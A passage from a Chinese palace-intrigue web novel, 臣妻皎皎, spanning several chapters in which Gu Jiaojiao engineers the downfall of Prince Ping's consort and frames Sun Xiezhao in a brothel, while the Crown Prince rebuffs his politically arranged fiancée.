“王爷竟然打妾身?” 至此询问之时,平王妃都是满脸的不可置信。 “打你?你做了此等好事,本王还留你性命,已然是开恩了。” 平王双目猩红,似乎眼前的并非是他的妻子,而是什么十恶不赦的仇人。 “妾身被王爷禁足于府,能做什么事?是不是又是徐青青那个贱人胡说了什么?王爷,你我夫妻一场,竟如此不信妾身吗?” 平王妃的语气里都带着恨意。 若不是徐青青与孙协兆暗中搞鬼,她也不会被禁足于府,自然也不会发生今日之事。 “你还敢攀扯他人?本王问你,你是不是启用了放在东宫里的眼线?” 此话一出,平王妃顿时没了刚刚的不甘,坐在地上,抬头望向平王的目光也有些躲闪。 “妾,妾身没有。” “你还敢说没有?那个叫彩月的已经被沈云祉抓住了,你行事鲁莽不说,连选出来的人也是个废物,人家尚未动刑,她便将所有的事都招了。” 平王气的在房间里不停的踱步,指着地上的平王妃便是破口大骂。 他就是这样的人,于自己有利时,他可以温柔大方,但于他大业无利之时,便可随手抛弃。 就像现在的平王,早就忘记了平王妃曾助他良多,只记得今日沈云祉让他备受屈辱。 “你知不知道,沈云祉拿着这证人证言,便可定我的罪,如若经了大理寺,王爷的位置都保不住,更别提皇位了。” 平王妃并非见识浅薄的女子,自是知道,可她并不觉得事态到了如此严重的地步。 “妾身只是命人打探太子的行踪与喜好,并未伤及太子,就算被发现,最多妾身去请罪就是了,王爷何以动这么大的气。” “若只是如此,本王自可摆平,可你命那贱婢偷看奏折,还给沈云祉下药,下药不说了,你知道偷拿奏折是意味着什么?” 意味着谋朝篡位,意味着要让全天下的人知道他的司马昭之心。 平王妃自然知晓。 “王爷,妾身虽糊涂,却也万万不敢做这种杀头的事,何况,那百官的奏折,王爷若想知道怎么都会知道,何需妾身去做这等蠢事?” 平王妃终于从地上起身,此时也是意识到事态的严重性。 平王根本也懒得听她辩解。 “你那侍女留着你的亲笔书信,桩桩件件都有你的吩咐,你现在想抵赖已经不可能了。” 平王双手背在身后,高昂着头。 “妾身请王爷详查,妾身是在禁足期间启用了那丫头,便绝没有让她做过下药,偷奏折之事,定是那丫头生了异心,王爷……” “好了,你现在说这些有什么用?” 平王愤怒的打断了她的话,而后才冷漠的继续说了下去。 “这件事,被沈云祉握在手心里,本王若是什么都不做,说不过去。” 平王妃大脑一片空白,她不自觉的后退两步。 “王爷的意思是,要处罚妾身?” 她与平王成亲多年,自是了解平王的脾性,任何事,任何人都没有那个至高无上的位置对他重要。 为了那个位置,他可以舍弃任何人。 “本王想过了,你到底是本王明媒正娶的妻子,母族也有些实力,沈云祉并不会真的怎样,你去京城里云澜寺住上一阵,日日拜佛写佛经,算是惩戒。” 云澜寺虽不是国寺,却也是极为之大,被京中内外的人奉为求姻缘求子最灵验的地方,每日来来往往的人自是不少。 “王爷息怒,王妃身份尊贵,自小娇养,怎可去那种地方?太子殿下若是生气,王爷不妨拿奴婢的命去交代,只说这都是奴婢一个人的主意,与王妃无关。” 冬儿是个忠心的,在平王妃愣神之际,她便直接跪在平王脚下,一顿恳求。 可冬儿求来的不过是平王重重的一脚。 “你一个贱婢,十条命也不够交代,滚开。” 冬儿被踢翻在地,也终让平王妃回过神,她蹲下身护住冬儿,抬眼看着平王。 “夫君,你我夫妻十余载,你当真要如此绝情吗?” “我这是绝情吗?明明就是救你,难不成你要等沈云祉发难,将那些罪责翻出来,治你个满门抄斩之罪吗?” 平王高傲冷漠,看向平王妃的目光再无往日的温柔缱绻。 “稍后收拾收拾,明日天一亮便去吧。” 说完,平王头也不回的走了。 平王妃瘫坐在地,眼中的所有光亮散去,了无生气。 “王妃,王妃莫要生气,都是彩月那个贱人,奴婢这就去安排,将彩月那个贱婢杀了,她一家全杀了。” 冬儿无比心疼的陪在平王妃身边,想要为她出气。 平王妃却摇了摇头。 “此时,我们什么都不能做了,不然怕真的连命都没有了。” 平王妃对平王一心一意,事事为他着想,自入这平王府,所做的所有坏事,都是为了平王的大业,可现在呢? 平王毫不犹豫的舍弃她,让她寒心已极。 很快,平王妃被罚入云澜寺的消息便传到了宫中,同时也传到了顾府。 顾皎皎对于这个结果很满意,连饭菜都多吃了一些。 “姑娘,平王妃被罚的不轻,只是奴婢不懂,此事若是没有殿下帮忙,姑娘会如何做?” 莺儿站在顾皎皎身侧,一脸不解。 顾皎皎抬头看了她一眼,轻轻的笑了笑。 “对付平王妃的法子多着呢,只不过殿下帮忙会更直接一些,若是没有他帮忙,我可以安排小厮在平王府使坏,可以安排侍女让平王妃嫉妒,诸如此类,很多。” 她的这些小心思,用于内宅争斗的女子身上,可谓是最为管用的。 何况,平王妃的心里本就有根刺,平王因徐青青罚她,便是她如何都不能忍的,所以,只要第一步做好了,后面的招数便不重要了。 “姑娘可真聪明。” 莺儿由衷的感叹道。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十章 装神弄鬼 平王妃那日在地牢里所说的话,顾皎皎至今记忆犹新。 平王妃出身尊贵,又有王妃这个身份的加持,自是瞧不起任何平民,更瞧不起似顾皎皎这等身份之人,如今,她也会尝到被人践踏凌辱的滋味。 “平王妃解决了,下面该轮到孙协兆了。” 顾皎皎微低着头,轻描淡写的说道。 这几日雪化了一些,空气里弥漫着潮湿的味道,使天气又冷了几分。 这个季节是不宜养伤的,好在顾皎皎身边有神医,还有沈云祉时常送来的药方与补品,她的伤日益见好。 阳光洒下来,房檐上有雪水缓缓滴落而下,她站在廊前,看着眼前景物,不禁扬了扬嘴角。 “倒如雨季一般,另有一番味道。” 她说的不只是房檐上的雨水,还有这世道。 醉月楼。 孙协兆近来可谓是春风得意,有平王的举荐,又即将接任府衙官员,行事自然是要拿鼻孔看人的。 不过,他也很是听话,他将大部分的时间都用来与府衙中人应酬,酒楼、青楼更是他们常去的地方。 以前孙协兆可是没有多余的银两来这种地方的,现下也是这样的常客了。 “哟,孙公子,您可来了,秋月姑娘可是等了你许久呢。” 媚姨站在门口,笑面如花的迎接着孙协兆。 孙协兆挑了挑眉毛,没有理会她,但却看向身边的二位。 “二位大人,这秋月可是醉月楼的头牌,那身姿,那脸蛋都是一绝,二位大人稍后一看便知。” 他说完,才看向跟在他身边的媚姨。 “备间上好的厢房,再叫两个姑娘陪着,记着,本公子不差钱,莫要拿你那些残花败柳来糊弄。” “哎哟公子,看您说的哪里话?您可是我们醉月楼的财神爷,怎敢糊弄你呢?说起来,昨日楼里新来了一个姑娘,年方十六,公子您看……” “就她了。” 只是这个年纪,便让身旁那二人垂涎欲滴了,哪还顾得了其他。 孙协兆带着二人进了厢房,随后几位姑娘也走了进来。 醉月楼里的姑娘都身怀绝技,每一位出来自有她们的妙处,秋月和另一姑娘很快与几位男子暧昧缠绵,但另一个姑娘却显得极为拘谨。 “你是新来的?叫什么名字?” 这姑娘就坐在孙协兆身边,他便开口询问。 孙协兆单纯的好奇,他并无狎妓之心,来到此地,也不过了是为了拉拢那些朝臣。 “回公子,奴家名唤馨儿,昨日才来的醉月楼。” 馨儿的声音很好听,带着稚嫩,她那张好看的脸,也圆圆的,透着可爱。 十六岁,确实还是如花似玉的年纪。 “你不像是被强迫的。” 倒不是孙协兆有多聪明,毕竟青楼这种地方,少有女子愿意进来,多半都是被逼的,何况这个馨儿昨日进楼,今日便出来接客,可见是自愿的。 “是,父亲身死,无银钱下葬,是媚姨出了银钱,给父亲买了上好的棺材,我也无地可去,媚姨便收留了我。” 馨儿的脸上带着极重的妆容,红衣绿饰,似是精心打扮过的,但了解醉月楼行情的便知道,这般打扮出来的丫头,今夜便是她的‘新婚夜’。 “协兆兄,这丫头可是个雏儿,你今夜有福了,哈哈。” “文兄客气了,文兄若是喜欢,在下怎敢夺人所爱?” “不不,我啊,还是喜欢这有韵味的。” 那男子说话间还抬手抚摸着秋月的脸颊,眼底满是淫笑。 秋月微低下头,装出娇羞的模样,尽显风情。 “公子,馨儿妹妹年纪尚幼,公子可要多多心疼她才是。” 秋月的媚笑在房间里响起,顿时让气氛更为浓烈了一些。 众人说笑,喝酒畅谈,在这烟花之地,似是让他们更为放松。 孙协兆也不只一次醉倒在这样的场合,他是何时被送入一间厢房的,他也不太清楚。 待他醒来时,是子时左右,也正是醉月楼最为热闹的时候。 头痛得紧。 孙协兆扶着头坐起身,只觉得之前喝的酒太烈了些,从前也不曾这般只几杯便不醒人事。 “水。” 他的头晕晕乎乎的,口干舌燥,便也随口说了一句。 随后,便有一只手端着杯子递了过来。 孙协兆接下,抬头间,却觉得眼前的人有些陌生。 这位姑娘面容清丽,看上去年纪尚小,只是她的衣衫并非是楼中女子的打扮,短衫长裤,暗灰的颜色,甚至还有两处补丁,更像是贫民。 而在这姑娘的脚下,还有散落一地的鲜花,新鲜的花瓣有的都被踩过。 “你,你是馨儿?” 孙协兆一脸狐疑,看着眼前的美人,还用力的晃了晃脑袋,想要看的更清楚些。 眼前的姑娘微微扬起嘴角,笑的灿烂,只是那抹笑里,竟带着与她那张可爱的脸不相符的阴险。 “公子,休息的好吗?醉月楼的酒就是这般,后劲足。” 女子开口,声音如之前的馨儿一模一样,透着些许的稚嫩,可越是这样,孙协兆越看不懂了。 “你为何这身打扮?你们醉月楼在搞什么?装神弄鬼。” 孙协兆话音落下之时,面前的馨儿突然后退两步,伸手解开了自己领口处的两颗扣子。 “公子既来了,奴家怎能让公子失望呢?” 她抬手将自己的发簪扯下,头发瞬间散落下来,而接下来她的举动,却让孙协兆瞪大双眼。 “孙公子,孙公子,不要,公子请放过我吧。” 这女子突然在房间里大喊大叫,还左右跑着将房中的桌椅都掀翻在地。 “孙公子,我只是一个卖花的姑娘,家中母亲还在等候着,请公子放过我吧。” 此时,孙协兆终于反应过来,立即起身去拉这姑娘。 “你这个贱人,你胡说什么?你莫不是要陷害于我?你可知我是何人?” “我知公子是安阳候府三公子,但小女子无意攀附,还请公子饶了小女子吧。” 姑娘说话间,就已经将靠近的孙协兆紧紧拥入怀中。 孙协兆想脱身却不能,甩了那姑娘一耳光,而这姑娘死死拉着孙协兆,只转了半圈,二人便摔出了房间。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十一章 你也下得去手 孙协兆半裸着上半身,下身也只是穿了一件雪白的底裤。 他就这样抱着那个女孩从屋子里滚了出来,周围人被吓了一跳,却也都驻足围观。 本是青楼嘛,男男女女的也是正常,可是那个姑娘看着却并不像楼里的人,更像是个良家姑娘。 “孙公子,不要,孙公子放过馨儿吧,我家中还有病重的母亲,孙公子,呜呜……” 馨儿这时才说出自己的名字,可是孙协兆却大脑一片空白,一时分不清状况。 馨儿挣扎着从地上爬起,躲到一边,却蹲在地上掩面哭起来。 “孙公子,馨儿只是个卖花的,你这般,馨儿日后有何脸面见人啊。” 周围的人越聚越多,看着地上狼狈又满身酒气的孙协兆,大家也猜到了什么。 “这不是安阳候府的孙三公子吗?没想到竟是这样的人。” “这孙公子也是,本就身处这青楼了,想要什么样的姑娘没有,怎么还非要做这种事?” “大抵是喜欢这清纯不染世俗的,但良家姑娘,他想在这楼里染指,也实在放肆了些。” “他有放肆的资本,我是听闻,近来平王极为看重他,他也逢人就说,用不了多久就入朝为官呢。” …… 周围的人你一言我一语,孙协兆也终于反应过来。 他立即从地上起身,慌乱的摆着手。 “我没有,我……她,她本就是这醉月楼的人,她晚间就在我房中,她……” 他语无伦次,馨儿也在此时抬头。 “公子何以这样侮辱人,是刚刚,您说看中了我的花儿,我才入您房中供您挑选,然后你就……呜呜。” 馨儿哭的泣不成声,一张稚嫩清秀的脸上满是委屈,任谁看了都不禁心疼,何况她那般打扮,谁也不会认为她是这楼里的姑娘。 “怎么了?这是怎么了?” 媚姨夸张的声音从人群中响起,一些识趣的都让出一条路。 看到眼前的场景,媚姨不禁惊呼出声。 “哎哟,孙三公子,你,你这是做什么啊?这丫头刚满十六岁,你,你也下得去手?” 听到媚姨此话,孙协兆不禁瞪大了眼睛。 “你这老妇,胡说什么?这丫头,明明是昨夜你带过来的,你还说她是刚来醉月楼。” 孙协兆看不懂眼前的情景,只慌乱的解释。 媚姨却将自己的披风扯下,走过去披到了馨儿的肩膀。 “孙公子才是胡说吧,这丫头可是个良家姑娘,母亲身患重病多年,全靠她卖花换些汤药钱,我是可怜她一片孝心,才允许她在这里卖花的。” 媚姨冲孙协兆挑了挑眉毛,眼中透着鄙夷的看向他,又马上继续说了下去。 “公子啊,我这醉月楼里什么样的姑娘没有,公子偏偏却要干这丧尽天良的事,你若不信,你也问问我这里的常客,定是有许多人见过这姑娘的。” 这是自然。 为了这个计划,顾皎皎可是早早就安排馨儿进入这醉月楼卖花儿了,也自是有许多人见过。 很快,这人群里就有人出面做证,说之前是见过这丫头的,还有人说,在这丫头这里买过鲜花的。 一时间,孙协兆忍不住后退两步,他在思索着喝酒前的事,突然就想到了跟他而来的那两个人。 “对,对,与我同行的那两位,他们可以为我证明,他们……” “我说孙公子,这种事大了,可是要见官府的,你可不能拉着我们说谎啊。” 说话的正是与他同行的那二人其中一个,此时这人的怀中还揽着醉月楼的头牌秋月,另一个人也在一旁开口。 “是啊,我们喝酒时,孙公子可是说过,与家中夫人恩爱异常,自是不敢乱来,所以并未叫姑娘作陪,谁成想……” 那人面露鄙夷之色,似是在说孙协兆伪装的好,装出情深,背地里却要干这种勾当。 只这样,孙协兆更分不清自己的状况。 他甚至怀疑,他记忆里的那些是一场梦,可那个馨儿…… 孙协兆冷眼瞪向馨儿,快步便冲了过来。 “你这个贱人,你竟敢害我。” 他低吼着,可就在马上要靠近馨儿时,被突如其来的一脚踹飞。 出手的是醉月楼的打手,个个身材高大魁梧,孔武有力。 媚姨站在一侧,将吓坏的馨儿护在身后,环抱双臂,看向孙协兆的目光也满是嘲讽。 “在我醉月楼,还妄想动手?来,给我把这人丢出去。” 孙协兆自然是又喊又叫,不肯罢休,可奈何他根本无力抵挡,被人结结实实的丢到了醉月楼门外。 “好了好了,大家都散了吧,今日扰了各位的兴致,我呀给大家送些吃食水果,祝各位大爷玩儿的尽兴。” 众人很是满意,笑着闹着散开,似是刚刚什么都没有发生一样。 冬季的夜极为寒冷。 孙协兆赤裸着半身走在大街上,甚至连鞋子都没有穿,一阵冷风袭来,顿时让他感受到了刺骨的寒冷。 “贱人,都是一群贱人。” 孙协兆一边向前走着,一边大声咒骂。 在进入醉月楼前,他便让马车回去了,现下已是深夜,街道上无人,倒是让他少一些难堪,可这不长不远的路,他也要加快脚步。 若是等到天亮,他这般狼狈模样便会人人皆知,日后他也不知该如何做人。 漫漫长夜,孙协兆终是在天亮之前赶回候府。 太阳升起,他却不知道,这只是刚刚开始。 顾府。 顾皎皎打着哈欠从床榻上起身,阳光透过窗子洒进来,让人觉得今天是个好天气。 “姑娘醒了,昨夜醉月楼可是热闹呢。” 莺儿像往常一样进来帮顾皎皎梳洗,顺嘴说起了她们的计划。 顾皎皎却只是笑了笑,并未觉得意外,走下床榻,将身前的长发拨到身后。 “馨儿那里安排好,孙协兆是个没脑子的,可平王不是。” 她叮嘱着。 “是,姑娘放心,提前就已经准备好了,待事情结束,馨儿就回府了。” 顾皎皎做事,走一步看三步,所有的事都已经安排好,就算中间有些偏差也没关系,她也有补救的办法。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十二章 远不止于此 一夜之间,孙协兆的丑事遍布大街小巷。 孙老夫人晨起,还未来得及用上早膳,刘氏与章氏便大呼小叫的闯了进来。 “母亲,三弟怎可做出这种事?儿媳是没有脸出去见人了。” “母亲,我母家虽不及咱们候府,可也是有头有脸的,三弟如此,是让我再也无法从娘家抬起头了呀。” 刘氏与章氏站在孙老夫人的面前,控诉之时,还不忘抹了几把眼泪。 孙老夫人拿着筷子,一口菜还未夹,就被这二人打扰了,她有些生气的放下筷子。 “能出什么大事,让你们一大清早在我这里吵吵闹闹,何况协兆再出格还能出什么事?” “母亲,三弟昨夜在醉月楼,差点轻薄了一个良家姑娘,此事已经传得沸沸扬扬了。” “胡说八道,协兆是什么人你们不清楚吗?他何曾是好色之徒?何况,醉月楼那种地方,有什么良家姑娘。” “哎呀,母亲,此事说来复杂,但确确实实是人证物证的,真真抵赖不了,好在那姑娘家贫,不想惹事,才没有报官。” 刘氏与章氏每个人都急的不行,她们所听来的可比她们说的热闹多了,让人不忍耳闻。 到现在,孙老夫人不信也不行了。 “去,把这个逆子给我叫来。” 孙老夫人喊了下人,但外面走过来的下人却只是行了个礼。 “老夫人,三公子刚刚出府了,听门口的小厮说,平王传召。” 回完话,那下人便退了出去。 “完了完了,母亲,定是平王知道了此事,这,我们候府不会要被牵连吧?” “母亲,徐青青可是平王的女儿,三弟娶了人家,又出了这等不堪之事,不好向人家交代啊。” “够了,你们现在说这些有什么用?” 孙老夫人低吼出声,不让二人再说下去。 “现下也没有好的办法,只能等消息了。” 孙协兆被叫去了平王府,但未被平王请进殿内。 几名侍卫冲出,直接将他按倒在地上,随即便有板子重重的落到他身上。 “王爷,啊,王爷饶命,小婿是被冤枉的,王爷……” 孙协兆哭喊着求饶,可这院子里只有打他的人,再无其他。 不知过了多久,孙协兆已经没有力气再呼喊了,腰间已然是血肉模糊,鲜血流到了地上,也浸染了一旁的积雪。 平王这才从屋子里走出来,迈着四方步,缓慢前行,他的身后跟着李嬷嬷。 平王的愤怒是显而易见的,他站在孙协兆面前,似是怕那些血弄脏他的衣衫,又后退了两步。 “本王许你荣华富贵,也保你升官发财,也未曾指望你感恩戴德,可你就是这么回报本王的?” 初听那些消息时,平王也自是不信的,他派人去调查了那个丫头,也询问了与孙协兆同行的二人,皆可证明传言并非虚假。 平王意要将孙协兆放入府衙,日后许能助他一臂之力,但现在,平王已然成为了一个笑话。 “王爷,我,我真的是被冤枉的,是那个卖花的贱人诬陷于我,她,她定是提前做好了准备。” “一个卖花的姑娘,母亲还重病在床,为何要冤枉你?若要真的冤枉你,昨夜那丫头就报官了,现在还轮得到本王来教训你?” 平王的声音越来越大,也不等孙协兆再说什么,便又说了下去。 “就算那乡野丫头冤枉你,难不成醉月楼也冤枉你,那与你同行的官员也冤枉你?” 现下,就算孙协兆有十张嘴也说不清了,他也不懂,为何事事都指向自己,他甚至开始分不清自己所经历的一切是梦还是现实。 “王爷……” “本王也懒得跟你废话,你行此等事,虽未惹出大的麻烦,但却惹人耻笑,进入府衙之事,你就莫要想了。” “王爷,不可,我已然……” “够了!你现在这个样子,真的将你举荐过去,本王连朝都不必上了。” 平王拂袖而去,这也意味着孙协兆的当官梦,彻底破碎。 皇宫。 双瑞也将平王府的事汇报给了沈云祉。 “那孙协兆当时就晕了,是被平王府的人抬着送回安阳候府的,那候府也乱作一团,女子为多,呼天抢地的。” 沈云祉半倚在软榻之上,把玩着手中的茶碗,唇角扬起一抹淡淡的笑意。 “还查到了什么?” 他神态慵懒,似是并不太在意的模样。 双瑞却笑出了声,大步跨过来,直接坐到了软榻边的椅子上。 “说起这事,顾姑娘可真是厉害,安排了那姑娘前几日便在醉月楼里卖花,至于那两个官员也被顾姑娘收买,听闻不只给了银钱,还给了他们贪污的账本。” 除此之外,顾皎皎还与那个秋月姑娘谈好,秋月在那官员吹耳边风,才使此事如此顺利不说,还没有露出丝毫破绽。 “不过有一事,属下无能,那个叫馨儿的丫头,她当真有个病重的母亲,就住在城郊的破落院子里,属下未查出异样,平王也派人去查了,什么也没有查到。” 双瑞一直替沈云祉做事,查探消息本是他最在行的,可即使是他亲自出马,也没有查出什么。 沈云祉喝了口茶,低垂下眼眸,漆黑的眸子里笑意更浓。 “那丫头是顾皎皎的人,而且应是极亲近之人,之所以查不出什么,大抵是因为过去她就是过着这样的生活。” 沈云祉说着,也猜测着。 女子以声名为先,那个叫馨儿的丫头愿以身为顾皎皎做事,自然是极其忠心之人。 “以前只觉得顾姑娘会做生意,现下看来是属下小瞧她了,这般女子,怕是连兵法也是通晓的。” 双瑞由衷的感叹着。 是啊,若是顾皎皎只为普通女子,又如何能让沈云祉倾心以待? “她连门都未出,却已然将仇都报了,她啊,远不止于此。” 沈云祉望着这大殿外面。 阳光普照,却也仅限于这四角四方的天,而顾皎皎的世界一片光亮,五彩斑斓。 有时候,他还有些羡慕顾皎皎,勇敢,也敢于担当。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十三章 相提并论 沈云祉的思绪被王福打断。 “殿下,首辅大人的孙女入宫了。” 之前首辅说过,他的孙女赵蕴苎想来逛逛皇宫的御花园。 “更衣,去迎接赵姑娘。” 沈云祉这声音听上去极为冷淡,听不出高兴或者不高兴。 有关孙协兆的消息,顾皎皎也在第一时间得知。 “那孙协兆被打得皮开肉绽,回到候府许久才醒来,徐青青也知道了此事,说孙协兆是个负心人,在候府里吵闹,还说要带着嫁妆离开候府,将孙老夫人吓的不轻,反正现在这候府啊,是鸡飞狗跳。” 莺儿自是开心的,絮絮叨叨跟顾皎皎说了许多。 “孙协兆闹出这样一档子事,他那日后的官员梦算是破碎了,他此生仕途无望,也只能依靠着那徐青青了,说起来,徐青青得罪了平王妃,日后也不会好过。” 莺儿掩面而笑,看着他们这般狗咬狗,真是大快人心。 顾皎皎坐在一旁,却一直低头看着桌上的东西。 那些东西又是双剑奉沈云祉之命送来的,又是各种奇珍异宝,又是美味佳肴,像是顾皎皎缺很多东西的模样。 顾皎皎也拒绝过,甚至让双剑转告沈云祉日后不必再送东西来,但双剑却只说他是奉命行事,至于其他一概不管。 顾皎皎身上的伤渐渐好转,可沈云祉却没有放过他的意思。 “哦对了,还有一个消息,赵蕴苎入宫了。” 这已经赵蕴苎第二次入宫了,名正言顺,未有成婚的消息传出,却待遇极佳,堪比太子妃。 顾皎皎做好了心理准备,却还是忍不住心里一紧,她未动声色,只自己一人在内心做着争斗。 良久。 “莺儿,安排一下,过继个子嗣吧。” 顾皎皎低垂着眼眸,悠悠开口,似是说着一件尤其简单的事一般。 “姑娘说什么?” 莺儿收起脸上的笑,转头定定的看着顾皎皎,她觉得自己一定是听错了。 顾皎皎抬手轻抚了一下桌上的那些东西,才缓缓抬起头,唇角挂着淡淡的笑。 “我日后不会再成婚,但顾府以及顾府的生意总要延续下去,所以,在外过继个子嗣,传承顾氏香火。” 她并不是心血来潮,此时说出来,也是经过深思熟虑的。 莺儿却是不愿的。 “姑娘,你还年轻,日后自会遇到良人,何必急于一时?” 良人吗? 她已经遇到了,只是那人与她身份悬殊,二人之间隔着千山万水,无法跨越,敢问这世间,又怎会再出现比沈云祉还令她心动之人呢? “去办吧。” 顾皎皎只是说了这三个字,她没有告诉莺儿,她急于立下子嗣,不只是为了有人继承家业,更多的是为了与沈云祉划清界限。 那条界限,由她亲手来划,自是痛彻心扉的。 莺儿见她主意已定,便也不再说什么,立即去安排。 皇宫。 沈云祉陪着赵蕴苎在御花园里闲逛了近半个时辰,终在一个亭子处停了下来。 天气极冷,赵蕴苎所坐之处由宫人细心的铺了鹅羽软垫,那手炉更是稍凉下来就有人换上,石桌上的茶飘着热气,茶香四溢。 “这冬日里,万物俱息,却也别有一番风味。” 赵蕴苎眉眼含笑,声音婉转,相比上一次,倒是温柔了许多。 “赵姑娘喜欢就好。” 沈云祉浅尝着茶,随意的应着。 “臣女少进宫,但殿下安排的如此妥当,当真是贴心。” 果然,这一句里,赵蕴苎便透出了些许的挑衅之意。 沈云祉原想着应付过去就算了,可看到赵蕴苎如此态度,便知她来者不善。 他笑了笑,随后摆了摆手。 亭子里的宫人侍女全部退下,离得远远的。 “赵姑娘想说什么?” “臣女听闻,太子殿下为了顾皎皎勇闯平王府,又以无数珍品为她养伤,如今殿下又这如此周到的对待臣女,臣女想知道,在殿下心里,臣女和顾皎皎谁更重要?” 赵蕴苎端起茶碗,浅尝着,眉眼间皆是得意,目光却并未从沈云祉的身上离开。 沈云祉的嘴角一直噙着笑,若有若无。 “赵姑娘想听真话?” “当然。” “赵姑娘,如何能与顾皎皎相提并论?” 沈云祉身体前倾,云淡风轻的说出这句话。 赵蕴苎的脸色瞬间难看不少,她如何不比顾皎皎强了?她乃首辅孙女,京都第一才女,人品相貌皆在众人之上,而她顾皎皎呢? “你是不是想说,顾皎皎身份低微,不及你半分?可是,除了身份,你有什么?” 他是太子,如今说出这样的话自是不该的,可他容不得别人诋毁顾皎皎半句。 “殿下如此倾心,为何还非得要娶臣女呢?” 赵蕴苎不曾受过这等屈辱,自也是强撑着,让自己看起来还算镇定。 “因为交易啊,本殿下需要首辅协助,而你赵家需要出一个太子妃,出一个皇后。” 沈云祉说的如此直白,让赵蕴苎一时无言。 他们确实就是互相利用,各取所需。 “赵姑娘今日来质问本殿下,无非是知道杜玉荣又去找顾皎皎了,可你来跟我说这些,实在是没什么道理,你应该跟你祖父去说。” 沈云祉转头看向一边。 不远处便是荷花池,夏季之时荷花盛放,极为好看,但现在是冬季,池里什么都没有,只有冷冷的冰,可以倒出人影的冰。 赵蕴苎死死盯着他,眼中有怨,有气,也有恨,可她无可奈何。 她阻止不了杜玉荣,更不敢像沈云祉所说的那样,去找首辅大人要求退了婚约,她什么也做不了。 半晌。 “殿下恕罪,臣女一时放肆,失言了。” 赵蕴苎说着时,还起身行了个礼。 沈云祉收回目光,眸子幽深,却依旧笑意满满。 “无妨,赵姑娘若想再逛逛,不如去倚梅园,本殿下陪着。” “不了,天气寒冷,臣女身体不适,这便出宫回府了,今日多谢殿下。” “王福,好生送赵姑娘出去。” 沈云祉未动,只是坐在那里看着赵蕴苎离开,他唇角的笑意也渐渐消失。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十四章 深仇大恨 杜玉荣再次站到顾府门前。 莺儿如之前一样劝他离开,但这次他未听。 “劳烦去转告顾姑娘,她若不肯见,在下便一直在此候着。” 杜玉荣不肯走,莺儿回过顾皎皎后,便只好请他进去。 顾皎皎在正厅见的杜玉荣,以显客气,疏离。 “多日不见,你瘦了许多。” 杜玉荣看着她,眼底袭上心疼。 到现在为止,他都不知道她具体经历了什么,所有都是从别人口中听说,今日见到她,她憔悴瘦弱,即使是笑着,脸色依旧不好。 他看不到她的伤,却知她定是痛苦不堪。 “有劳杜大人挂念,我一切都好。” 顾皎皎的脸上依旧是那抹淡然的笑,她欠身行礼,又请杜玉荣坐下。 “发生这种大事,你为何不与我说一声?” 杜玉荣不像是在怪她,更像是在怪自己。 “不甚重要,不过是受了些皮肉伤,现下已经好的差不多了。” 顾皎皎顿了顿,又装出无意似的转开话题。 “听闻杜大人助太子殿下动送赈灾之物,颇得殿下赏识,年后大人欲加官进爵了,民女在此提前恭贺大了。” 这话说的让人闻之心伤。 杜玉荣扯动了下嘴角。 “我倒是了不甚在意,只是没能护住你,便让我觉得自己无能。” “大人何出此言?我自己所遇之事与大人无关。” 顾皎皎迎向杜玉荣的目光,说的无法认真。 杜玉荣一时无言,眼底也闪过一抹幽怨。 顾皎皎对他始终拒人于千里,他知她的经历,也并不想逼她。 “近来,你身上有伤,我也闲来无事,便过来照顾你。” 杜玉荣突如其来的话,让顾皎皎不禁愣住,就连一旁的莺儿也怔了怔。 “杜大人,我们府里有侍从,我也会陪在姑娘身边,我们都会照顾好姑娘的,您过来,多有不便。” 莺儿还是忍不住开口,心里想着,这位杜大人不会诗书读傻了吧。 “我略通医术,也许……” “杜大人。” 顾皎皎出言打断。 她起身,向杜玉荣行了个礼。 “大人好意,民女心领了,只是您也知道,我如今谣言缠身,杜大人若真常出现在顾府,民女怕是日后无法见人了,还望杜大人怜惜。” 她说的很轻,却并无半分恳求之意,而是坚决。 “顾姑娘,我并非想陷你于为难,只是传闻你受伤极重,我只是……” 杜玉荣向是稳得住的,少有的像现在这般急切。 顾皎皎微微点头。 “我自知大人好意,只是已经过了这么久,伤已好的差不多,用不了几日,我便也可以出门了。” 最后,杜玉荣也只能听顾皎皎的,留下了一些补品便离开了。 “这个杜大人可真奇怪,不是说杜府是书香门第吗?怎的行事如此疯癫?” 莺儿忍不住开口,听到杜玉荣的话,她还是有被吓到的。 顾皎皎抬手点了下她的额头。 “你之前不是还说觉得杜大人人不错吗?” “人是不错,只是这想法有些吓人。” 莺儿不住的摇头,又抱怨了几句,才去给顾皎皎准备茶点。 翌日。 顾皎皎带着莺儿前往了云澜寺。 对外只是说,顾皎皎要收养个孩子,将来继承顾家产业,所以来上香请愿,可实际上,她是来看望平王妃的。 这寺里人很多,除了来往的百姓,还有修行之人。 顾皎皎站在一个偏殿处,听着门里的动静,并未进去。 “你还真当自己是王妃呢?进了这地方,还指望着出去?” “你一个带发修行之人,好好念你的经,外面的事也是你能打听的?” “我告诉你,下次再有人告诉我你拉着百姓问些有的没的,我就打断你的腿。” 几声斥责之后,还听到几声清脆的巴掌声,随后,便有几个姑子模样的人从里面走了出来。 她们经过顾皎皎身侧时,微微点头,而后离去。 “姑娘进去吧,奴婢在外面看着。” 莺儿将顾皎皎的手炉接下,低声说道。 顾皎皎微微点头,抬脚步入了这偏殿。 殿中供奉着神像,香炉里点燃着无数支香火,大殿极高,香火冉冉上升,倒给人一种仙气缭绕的感觉。 在殿内的一角,一个姑子打扮模样的人跪在那里,低声念着佛经,敲着木鱼,只是在顾皎皎进来后,她便不再开口。 顾皎皎没有看她,而是自顾自点燃了三支香,而后冲着佛像拜了拜。 “没有锦衣玉食,没有华服锦缎,没有前呼后拥的侍从,平王妃的日子过得可还舒心?” 顾皎皎轻声开口后,将手中的香插入香炉。 “顾皎皎,你这个贱人,定是你从中搞鬼。” 平王妃整个人都被笼罩阴影里,说出来的话也让人觉得阴森森的。 顾皎皎此时才转过身,面对着那团阴影,而后一步步靠近。 “平王妃当日跟我说的话还记得吗?身份低微,就该任人欺凌,你与平王作恶,如今这便是你的报应。” 她走过来,蹲下身,盯着平王妃那红肿的脸,任人欺凌,她的脸便是证据了。 “你别得意,本王妃身份尤在,待王爷气消了,自会带我回去,到时候,我便让你这贱人埋尸荒野。” 